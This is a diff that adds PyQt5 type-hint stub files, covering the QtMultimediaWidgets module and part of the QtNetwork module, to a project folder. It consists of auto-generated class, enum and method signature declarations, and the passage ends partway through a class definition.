b/OTHERS/Jarvis/ools/PyQt5/QtMultimediaWidgets.pyi @@ -0,0 +1,127 @@ +# The PEP 484 type hints stub file for the QtMultimediaWidgets module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtMultimedia +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QVideoWidget(QtWidgets.QWidget, QtMultimedia.QMediaBindableInterface): + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def videoSurface(self) -> QtMultimedia.QAbstractVideoSurface: ... + def setMediaObject(self, object: QtMultimedia.QMediaObject) -> bool: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def moveEvent(self, event: QtGui.QMoveEvent) -> None: ... + def resizeEvent(self, event: QtGui.QResizeEvent) -> None: ... + def hideEvent(self, event: QtGui.QHideEvent) -> None: ... + def showEvent(self, event: QtGui.QShowEvent) -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def saturationChanged(self, saturation: int) -> None: ... + def hueChanged(self, hue: int) -> None: ... + def contrastChanged(self, contrast: int) -> None: ... + def brightnessChanged(self, brightness: int) -> None: ... + def fullScreenChanged(self, fullScreen: bool) -> None: ... + def setSaturation(self, saturation: int) -> None: ... + def setHue(self, hue: int) -> None: ... + def setContrast(self, contrast: int) -> None: ... + def setBrightness(self, brightness: int) -> None: ... + def setAspectRatioMode(self, mode: QtCore.Qt.AspectRatioMode) -> None: ... + def setFullScreen(self, fullScreen: bool) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def saturation(self) -> int: ... + def hue(self) -> int: ... + def contrast(self) -> int: ... + def brightness(self) -> int: ... + def aspectRatioMode(self) -> QtCore.Qt.AspectRatioMode: ... + def mediaObject(self) -> QtMultimedia.QMediaObject: ... + + +class QCameraViewfinder(QVideoWidget): + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def setMediaObject(self, object: QtMultimedia.QMediaObject) -> bool: ... + def mediaObject(self) -> QtMultimedia.QMediaObject: ... + + +class QGraphicsVideoItem(QtWidgets.QGraphicsObject, QtMultimedia.QMediaBindableInterface): + + def __init__(self, parent: typing.Optional[QtWidgets.QGraphicsItem] = ...) -> None: ... + + def videoSurface(self) -> QtMultimedia.QAbstractVideoSurface: ... + def setMediaObject(self, object: QtMultimedia.QMediaObject) -> bool: ... + def itemChange(self, change: QtWidgets.QGraphicsItem.GraphicsItemChange, value: typing.Any) -> typing.Any: ... + def timerEvent(self, event: QtCore.QTimerEvent) -> None: ... + def nativeSizeChanged(self, size: QtCore.QSizeF) -> None: ... + def paint(self, painter: QtGui.QPainter, option: QtWidgets.QStyleOptionGraphicsItem, widget: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + def boundingRect(self) -> QtCore.QRectF: ... + def nativeSize(self) -> QtCore.QSizeF: ... + def setSize(self, size: QtCore.QSizeF) -> None: ... + def size(self) -> QtCore.QSizeF: ... + def setOffset(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def offset(self) -> QtCore.QPointF: ... + def setAspectRatioMode(self, mode: QtCore.Qt.AspectRatioMode) -> None: ... + def aspectRatioMode(self) -> QtCore.Qt.AspectRatioMode: ... + def mediaObject(self) -> QtMultimedia.QMediaObject: ... + + +class QVideoWidgetControl(QtMultimedia.QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def saturationChanged(self, saturation: int) -> None: ... + def hueChanged(self, hue: int) -> None: ... + def contrastChanged(self, contrast: int) -> None: ... + def brightnessChanged(self, brightness: int) -> None: ... + def fullScreenChanged(self, fullScreen: bool) -> None: ... + def setSaturation(self, saturation: int) -> None: ... + def saturation(self) -> int: ... + def setHue(self, hue: int) -> None: ... + def hue(self) -> int: ... + def setContrast(self, contrast: int) -> None: ... + def contrast(self) -> int: ... + def setBrightness(self, brightness: int) -> None: ... + def brightness(self) -> int: ... + def setFullScreen(self, fullScreen: bool) -> None: ... + def isFullScreen(self) -> bool: ... + def setAspectRatioMode(self, mode: QtCore.Qt.AspectRatioMode) -> None: ... + def aspectRatioMode(self) -> QtCore.Qt.AspectRatioMode: ... + def videoWidget(self) -> QtWidgets.QWidget: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtNetwork.pyi b/OTHERS/Jarvis/ools/PyQt5/QtNetwork.pyi new file mode 100644 index 00000000..b5e42efc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtNetwork.pyi @@ -0,0 +1,2108 @@ +# The PEP 484 type hints stub file for the QtNetwork module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QOcspRevocationReason(int): + None_ = ... # type: QOcspRevocationReason + Unspecified = ... # type: QOcspRevocationReason + KeyCompromise = ... # type: QOcspRevocationReason + CACompromise = ... # type: QOcspRevocationReason + AffiliationChanged = ... # type: QOcspRevocationReason + Superseded = ... # type: QOcspRevocationReason + CessationOfOperation = ... # type: QOcspRevocationReason + CertificateHold = ... # type: QOcspRevocationReason + RemoveFromCRL = ... # type: QOcspRevocationReason + + +class QOcspCertificateStatus(int): + Good = ... # type: QOcspCertificateStatus + Revoked = ... # type: QOcspCertificateStatus + Unknown = ... # type: QOcspCertificateStatus + + +class QNetworkCacheMetaData(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkCacheMetaData') -> None: ... + + def swap(self, other: 'QNetworkCacheMetaData') -> None: ... + def setAttributes(self, attributes: typing.Dict['QNetworkRequest.Attribute', typing.Any]) -> None: ... + def attributes(self) -> typing.Dict['QNetworkRequest.Attribute', typing.Any]: ... + def setSaveToDisk(self, allow: bool) -> None: ... + def saveToDisk(self) -> bool: ... + def setExpirationDate(self, dateTime: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def expirationDate(self) -> QtCore.QDateTime: ... + def setLastModified(self, dateTime: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def lastModified(self) -> QtCore.QDateTime: ... + def setRawHeaders(self, headers: typing.Iterable[typing.Tuple[typing.Union[QtCore.QByteArray, bytes, bytearray], typing.Union[QtCore.QByteArray, bytes, bytearray]]]) -> None: ... + def rawHeaders(self) -> typing.List[typing.Tuple[QtCore.QByteArray, QtCore.QByteArray]]: ... + def setUrl(self, url: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + def isValid(self) -> bool: ... + + +class QAbstractNetworkCache(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def clear(self) -> None: ... + def insert(self, device: QtCore.QIODevice) -> None: ... + def prepare(self, metaData: QNetworkCacheMetaData) -> QtCore.QIODevice: ... + def cacheSize(self) -> int: ... + def remove(self, url: QtCore.QUrl) -> bool: ... + def data(self, url: QtCore.QUrl) -> QtCore.QIODevice: ... + def updateMetaData(self, metaData: QNetworkCacheMetaData) -> None: ... + def metaData(self, url: QtCore.QUrl) -> QNetworkCacheMetaData: ... + + +class QAbstractSocket(QtCore.QIODevice): + + class PauseMode(int): + PauseNever = ... # type: QAbstractSocket.PauseMode + PauseOnSslErrors = ... # type: QAbstractSocket.PauseMode + + class BindFlag(int): + DefaultForPlatform = ... # type: QAbstractSocket.BindFlag + ShareAddress = ... # type: QAbstractSocket.BindFlag + DontShareAddress = ... # type: QAbstractSocket.BindFlag + ReuseAddressHint = ... # type: QAbstractSocket.BindFlag + + class SocketOption(int): + LowDelayOption = ... # type: QAbstractSocket.SocketOption + KeepAliveOption = ... # type: QAbstractSocket.SocketOption + MulticastTtlOption = ... # type: QAbstractSocket.SocketOption + MulticastLoopbackOption = ... # type: QAbstractSocket.SocketOption + TypeOfServiceOption = ... # type: QAbstractSocket.SocketOption + SendBufferSizeSocketOption = ... # type: QAbstractSocket.SocketOption + ReceiveBufferSizeSocketOption = ... # type: QAbstractSocket.SocketOption + PathMtuSocketOption = ... # type: QAbstractSocket.SocketOption + + class SocketState(int): + UnconnectedState = ... # type: QAbstractSocket.SocketState + HostLookupState = ... # type: QAbstractSocket.SocketState + ConnectingState = ... # type: QAbstractSocket.SocketState + ConnectedState = ... # type: QAbstractSocket.SocketState + BoundState = ... # type: QAbstractSocket.SocketState + ListeningState = ... # type: QAbstractSocket.SocketState + ClosingState = ... # type: QAbstractSocket.SocketState + + class SocketError(int): + ConnectionRefusedError = ... # type: QAbstractSocket.SocketError + RemoteHostClosedError = ... # type: QAbstractSocket.SocketError + HostNotFoundError = ... # type: QAbstractSocket.SocketError + SocketAccessError = ... # type: QAbstractSocket.SocketError + SocketResourceError = ... # type: QAbstractSocket.SocketError + SocketTimeoutError = ... # type: QAbstractSocket.SocketError + DatagramTooLargeError = ... # type: QAbstractSocket.SocketError + NetworkError = ... # type: QAbstractSocket.SocketError + AddressInUseError = ... # type: QAbstractSocket.SocketError + SocketAddressNotAvailableError = ... # type: QAbstractSocket.SocketError + UnsupportedSocketOperationError = ... # type: QAbstractSocket.SocketError + UnfinishedSocketOperationError = ... # type: QAbstractSocket.SocketError + ProxyAuthenticationRequiredError = ... # type: QAbstractSocket.SocketError + SslHandshakeFailedError = ... # type: QAbstractSocket.SocketError + ProxyConnectionRefusedError = ... # type: QAbstractSocket.SocketError + ProxyConnectionClosedError = ... # type: QAbstractSocket.SocketError + ProxyConnectionTimeoutError = ... # type: QAbstractSocket.SocketError + ProxyNotFoundError = ... # type: QAbstractSocket.SocketError + ProxyProtocolError = ... # type: QAbstractSocket.SocketError + OperationError = ... # type: QAbstractSocket.SocketError + SslInternalError = ... # type: QAbstractSocket.SocketError + SslInvalidUserDataError = ... # type: QAbstractSocket.SocketError + TemporaryError = ... # type: QAbstractSocket.SocketError + UnknownSocketError = ... # type: QAbstractSocket.SocketError + + class NetworkLayerProtocol(int): + IPv4Protocol = ... # type: QAbstractSocket.NetworkLayerProtocol + IPv6Protocol = ... # type: QAbstractSocket.NetworkLayerProtocol + AnyIPProtocol = ... # type: QAbstractSocket.NetworkLayerProtocol + UnknownNetworkLayerProtocol = ... # type: QAbstractSocket.NetworkLayerProtocol + + class SocketType(int): + TcpSocket = ... # type: QAbstractSocket.SocketType + UdpSocket = ... # type: QAbstractSocket.SocketType + SctpSocket = ... # type: QAbstractSocket.SocketType + UnknownSocketType = ... # type: QAbstractSocket.SocketType + + class BindMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractSocket.BindMode', 'QAbstractSocket.BindFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractSocket.BindMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractSocket.BindMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class PauseModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractSocket.PauseModes', 'QAbstractSocket.PauseMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractSocket.PauseModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractSocket.PauseModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, socketType: 'QAbstractSocket.SocketType', parent: QtCore.QObject) -> None: ... + + def setProtocolTag(self, tag: str) -> None: ... + def protocolTag(self) -> str: ... + @typing.overload + def bind(self, address: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], port: int = ..., mode: typing.Union['QAbstractSocket.BindMode', 'QAbstractSocket.BindFlag'] = ...) -> bool: ... + @typing.overload + def bind(self, port: int = ..., mode: typing.Union['QAbstractSocket.BindMode', 'QAbstractSocket.BindFlag'] = ...) -> bool: ... + def setPauseMode(self, pauseMode: typing.Union['QAbstractSocket.PauseModes', 'QAbstractSocket.PauseMode']) -> None: ... + def pauseMode(self) -> 'QAbstractSocket.PauseModes': ... + def resume(self) -> None: ... + def socketOption(self, option: 'QAbstractSocket.SocketOption') -> typing.Any: ... + def setSocketOption(self, option: 'QAbstractSocket.SocketOption', value: typing.Any) -> None: ... + def setPeerName(self, name: str) -> None: ... + def setPeerAddress(self, address: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress']) -> None: ... + def setPeerPort(self, port: int) -> None: ... + def setLocalAddress(self, address: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress']) -> None: ... + def setLocalPort(self, port: int) -> None: ... + def setSocketError(self, socketError: 'QAbstractSocket.SocketError') -> None: ... + def setSocketState(self, state: 'QAbstractSocket.SocketState') -> None: ... + def writeData(self, data: bytes) -> int: ... + def readLineData(self, maxlen: int) -> bytes: ... + def readData(self, maxlen: int) -> bytes: ... + def proxyAuthenticationRequired(self, proxy: 'QNetworkProxy', authenticator: 'QAuthenticator') -> None: ... + def errorOccurred(self, a0: 'QAbstractSocket.SocketError') -> None: ... + def stateChanged(self, a0: 'QAbstractSocket.SocketState') -> None: ... + def disconnected(self) -> None: ... + def connected(self) -> None: ... + def hostFound(self) -> None: ... + def proxy(self) -> 'QNetworkProxy': ... + def setProxy(self, networkProxy: 'QNetworkProxy') -> None: ... + def waitForDisconnected(self, msecs: int = ...) -> bool: ... + def waitForBytesWritten(self, msecs: int = ...) -> bool: ... + def waitForReadyRead(self, msecs: int = ...) -> bool: ... + def waitForConnected(self, msecs: int = ...) -> bool: ... + def flush(self) -> bool: ... + def atEnd(self) -> bool: ... + def isSequential(self) -> bool: ... + def close(self) -> None: ... + @typing.overload + def error(self) -> 'QAbstractSocket.SocketError': ... + @typing.overload + def error(self, a0: 'QAbstractSocket.SocketError') -> None: ... + def state(self) -> 'QAbstractSocket.SocketState': ... + def socketType(self) -> 'QAbstractSocket.SocketType': ... + def socketDescriptor(self) -> PyQt5.sip.voidptr: ... + def setSocketDescriptor(self, socketDescriptor: PyQt5.sip.voidptr, state: 'QAbstractSocket.SocketState' = ..., mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> bool: ... + def abort(self) -> None: ... + def setReadBufferSize(self, size: int) -> None: ... + def readBufferSize(self) -> int: ... + def peerName(self) -> str: ... + def peerAddress(self) -> 'QHostAddress': ... + def peerPort(self) -> int: ... + def localAddress(self) -> 'QHostAddress': ... + def localPort(self) -> int: ... + def canReadLine(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def isValid(self) -> bool: ... + def disconnectFromHost(self) -> None: ... + @typing.overload + def connectToHost(self, hostName: str, port: int, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ..., protocol: 'QAbstractSocket.NetworkLayerProtocol' = ...) -> None: ... + @typing.overload + def connectToHost(self, address: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], port: int, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> None: ... + + +class QAuthenticator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QAuthenticator') -> None: ... + + def setOption(self, opt: str, value: typing.Any) -> None: ... + def options(self) -> typing.Dict[str, typing.Any]: ... + def option(self, opt: str) -> typing.Any: ... + def isNull(self) -> bool: ... + def realm(self) -> str: ... + def setPassword(self, password: str) -> None: ... + def password(self) -> str: ... + def setUser(self, user: str) -> None: ... + def user(self) -> str: ... + + +class QDnsDomainNameRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDnsDomainNameRecord') -> None: ... + + def value(self) -> str: ... + def timeToLive(self) -> int: ... + def name(self) -> str: ... + def swap(self, other: 'QDnsDomainNameRecord') -> None: ... + + +class QDnsHostAddressRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDnsHostAddressRecord') -> None: ... + + def value(self) -> 'QHostAddress': ... + def timeToLive(self) -> int: ... + def name(self) -> str: ... + def swap(self, other: 'QDnsHostAddressRecord') -> None: ... + + +class QDnsMailExchangeRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDnsMailExchangeRecord') -> None: ... + + def timeToLive(self) -> int: ... + def preference(self) -> int: ... + def name(self) -> str: ... + def exchange(self) -> str: ... + def swap(self, other: 'QDnsMailExchangeRecord') -> None: ... + + +class QDnsServiceRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDnsServiceRecord') -> None: ... + + def weight(self) -> int: ... + def timeToLive(self) -> int: ... + def target(self) -> str: ... + def priority(self) -> int: ... + def port(self) -> int: ... + def name(self) -> str: ... + def swap(self, other: 'QDnsServiceRecord') -> None: ... + + +class QDnsTextRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDnsTextRecord') -> None: ... + + def values(self) -> typing.List[QtCore.QByteArray]: ... + def timeToLive(self) -> int: ... + def name(self) -> str: ... + def swap(self, other: 'QDnsTextRecord') -> None: ... + + +class QDnsLookup(QtCore.QObject): + + class Type(int): + A = ... # type: QDnsLookup.Type + AAAA = ... # type: QDnsLookup.Type + ANY = ... # type: QDnsLookup.Type + CNAME = ... # type: QDnsLookup.Type + MX = ... # type: QDnsLookup.Type + NS = ... # type: QDnsLookup.Type + PTR = ... # type: QDnsLookup.Type + SRV = ... # type: QDnsLookup.Type + TXT = ... # type: QDnsLookup.Type + + class Error(int): + NoError = ... # type: QDnsLookup.Error + ResolverError = ... # type: QDnsLookup.Error + OperationCancelledError = ... # type: QDnsLookup.Error + InvalidRequestError = ... # type: QDnsLookup.Error + InvalidReplyError = ... # type: QDnsLookup.Error + ServerFailureError = ... # type: QDnsLookup.Error + ServerRefusedError = ... # type: QDnsLookup.Error + NotFoundError = ... # type: QDnsLookup.Error + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, type: 'QDnsLookup.Type', name: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, type: 'QDnsLookup.Type', name: str, nameserver: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def nameserverChanged(self, nameserver: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress']) -> None: ... + def setNameserver(self, nameserver: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress']) -> None: ... + def nameserver(self) -> 'QHostAddress': ... + def typeChanged(self, type: 'QDnsLookup.Type') -> None: ... + def nameChanged(self, name: str) -> None: ... + def finished(self) -> None: ... + def lookup(self) -> None: ... + def abort(self) -> None: ... + def textRecords(self) -> typing.List[QDnsTextRecord]: ... + def serviceRecords(self) -> typing.List[QDnsServiceRecord]: ... + def pointerRecords(self) -> typing.List[QDnsDomainNameRecord]: ... + def nameServerRecords(self) -> typing.List[QDnsDomainNameRecord]: ... + def mailExchangeRecords(self) -> typing.List[QDnsMailExchangeRecord]: ... + def hostAddressRecords(self) -> typing.List[QDnsHostAddressRecord]: ... + def canonicalNameRecords(self) -> typing.List[QDnsDomainNameRecord]: ... + def setType(self, a0: 'QDnsLookup.Type') -> None: ... + def type(self) -> 'QDnsLookup.Type': ... + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + def isFinished(self) -> bool: ... + def errorString(self) -> str: ... + def error(self) -> 'QDnsLookup.Error': ... + + +class QHostAddress(sip.simplewrapper): + + class ConversionModeFlag(int): + ConvertV4MappedToIPv4 = ... # type: QHostAddress.ConversionModeFlag + ConvertV4CompatToIPv4 = ... # type: QHostAddress.ConversionModeFlag + ConvertUnspecifiedAddress = ... # type: QHostAddress.ConversionModeFlag + ConvertLocalHost = ... # type: QHostAddress.ConversionModeFlag + TolerantConversion = ... # type: QHostAddress.ConversionModeFlag + StrictConversion = ... # type: QHostAddress.ConversionModeFlag + + class SpecialAddress(int): + Null = ... # type: QHostAddress.SpecialAddress + Broadcast = ... # type: QHostAddress.SpecialAddress + LocalHost = ... # type: QHostAddress.SpecialAddress + LocalHostIPv6 = ... # type: QHostAddress.SpecialAddress + AnyIPv4 = ... # type: QHostAddress.SpecialAddress + AnyIPv6 = ... # type: QHostAddress.SpecialAddress + Any = ... # type: QHostAddress.SpecialAddress + + class ConversionMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QHostAddress.ConversionMode', 'QHostAddress.ConversionModeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QHostAddress.ConversionMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QHostAddress.ConversionMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, address: 'QHostAddress.SpecialAddress') -> None: ... + @typing.overload + def __init__(self, ip4Addr: int) -> None: ... + @typing.overload + def __init__(self, address: str) -> None: ... + @typing.overload + def __init__(self, ip6Addr: typing.Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]) -> None: ... + @typing.overload + def __init__(self, copy: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress']) -> None: ... + + def isBroadcast(self) -> bool: ... + def isUniqueLocalUnicast(self) -> bool: ... + def isSiteLocal(self) -> bool: ... + def isLinkLocal(self) -> bool: ... + def isGlobal(self) -> bool: ... + def isEqual(self, address: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], mode: typing.Union['QHostAddress.ConversionMode', 'QHostAddress.ConversionModeFlag'] = ...) -> bool: ... + def isMulticast(self) -> bool: ... + def swap(self, other: 'QHostAddress') -> None: ... + @staticmethod + def parseSubnet(subnet: str) -> typing.Tuple['QHostAddress', int]: ... + def isLoopback(self) -> bool: ... + @typing.overload + def isInSubnet(self, subnet: typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], netmask: int) -> bool: ... + @typing.overload + def isInSubnet(self, subnet: typing.Tuple[typing.Union['QHostAddress', 'QHostAddress.SpecialAddress'], int]) -> bool: ... + def __hash__(self) -> int: ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + def setScopeId(self, id: str) -> None: ... + def scopeId(self) -> str: ... + def toString(self) -> str: ... + def toIPv6Address(self) -> typing.Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]: ... + def toIPv4Address(self) -> int: ... + def protocol(self) -> QAbstractSocket.NetworkLayerProtocol: ... + @typing.overload + def setAddress(self, address: 'QHostAddress.SpecialAddress') -> None: ... + @typing.overload + def setAddress(self, ip4Addr: int) -> None: ... + @typing.overload + def setAddress(self, address: str) -> bool: ... + @typing.overload + def setAddress(self, ip6Addr: typing.Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]) -> None: ... + + +class QHostInfo(sip.simplewrapper): + + class HostInfoError(int): + NoError = ... # type: QHostInfo.HostInfoError + HostNotFound = ... # type: QHostInfo.HostInfoError + UnknownError = ... # type: QHostInfo.HostInfoError + + @typing.overload + def __init__(self, id: int = ...) -> None: ... + @typing.overload + def __init__(self, d: 'QHostInfo') -> None: ... + + def swap(self, other: 'QHostInfo') -> None: ... + @staticmethod + def localDomainName() -> str: ... + @staticmethod + def localHostName() -> str: ... + @staticmethod + def fromName(name: str) -> 'QHostInfo': ... + @staticmethod + def abortHostLookup(lookupId: int) -> None: ... + @staticmethod + def lookupHost(name: str, slot: PYQT_SLOT) -> int: ... + def lookupId(self) -> int: ... + def setLookupId(self, id: int) -> None: ... + def setErrorString(self, errorString: str) -> None: ... + def errorString(self) -> str: ... + def setError(self, error: 'QHostInfo.HostInfoError') -> None: ... + def error(self) -> 'QHostInfo.HostInfoError': ... + def setAddresses(self, addresses: typing.Iterable[typing.Union[QHostAddress, QHostAddress.SpecialAddress]]) -> None: ... + def addresses(self) -> typing.List[QHostAddress]: ... + def setHostName(self, name: str) -> None: ... + def hostName(self) -> str: ... + + +class QHstsPolicy(sip.simplewrapper): + + class PolicyFlag(int): + IncludeSubDomains = ... # type: QHstsPolicy.PolicyFlag + + class PolicyFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QHstsPolicy.PolicyFlags', 'QHstsPolicy.PolicyFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QHstsPolicy.PolicyFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QHstsPolicy.PolicyFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, expiry: typing.Union[QtCore.QDateTime, datetime.datetime], flags: typing.Union['QHstsPolicy.PolicyFlags', 'QHstsPolicy.PolicyFlag'], host: str, mode: QtCore.QUrl.ParsingMode = ...) -> None: ... + @typing.overload + def __init__(self, rhs: 'QHstsPolicy') -> None: ... + + def isExpired(self) -> bool: ... + def includesSubDomains(self) -> bool: ... + def setIncludesSubDomains(self, include: bool) -> None: ... + def expiry(self) -> QtCore.QDateTime: ... + def setExpiry(self, expiry: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def host(self, options: typing.Union[QtCore.QUrl.ComponentFormattingOptions, QtCore.QUrl.ComponentFormattingOption] = ...) -> str: ... + def setHost(self, host: str, mode: QtCore.QUrl.ParsingMode = ...) -> None: ... + def swap(self, other: 'QHstsPolicy') -> None: ... + + +class QHttp2Configuration(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QHttp2Configuration') -> None: ... + + def swap(self, other: 'QHttp2Configuration') -> None: ... + def maxFrameSize(self) -> int: ... + def setMaxFrameSize(self, size: int) -> bool: ... + def streamReceiveWindowSize(self) -> int: ... + def setStreamReceiveWindowSize(self, size: int) -> bool: ... + def sessionReceiveWindowSize(self) -> int: ... + def setSessionReceiveWindowSize(self, size: int) -> bool: ... + def huffmanCompressionEnabled(self) -> bool: ... + def setHuffmanCompressionEnabled(self, enable: bool) -> None: ... + def serverPushEnabled(self) -> bool: ... + def setServerPushEnabled(self, enable: bool) -> None: ... + + +class QHttpPart(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QHttpPart') -> None: ... + + def swap(self, other: 'QHttpPart') -> None: ... + def setBodyDevice(self, device: QtCore.QIODevice) -> None: ... + def setBody(self, body: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def setRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray], headerValue: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def setHeader(self, header: 'QNetworkRequest.KnownHeaders', value: typing.Any) -> None: ... + + +class QHttpMultiPart(QtCore.QObject): + + class ContentType(int): + MixedType = ... # type: QHttpMultiPart.ContentType + RelatedType = ... # type: QHttpMultiPart.ContentType + FormDataType = ... # type: QHttpMultiPart.ContentType + AlternativeType = ... # type: QHttpMultiPart.ContentType + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, contentType: 'QHttpMultiPart.ContentType', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setBoundary(self, boundary: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def boundary(self) -> QtCore.QByteArray: ... + def setContentType(self, contentType: 'QHttpMultiPart.ContentType') -> None: ... + def append(self, httpPart: QHttpPart) -> None: ... + + +class 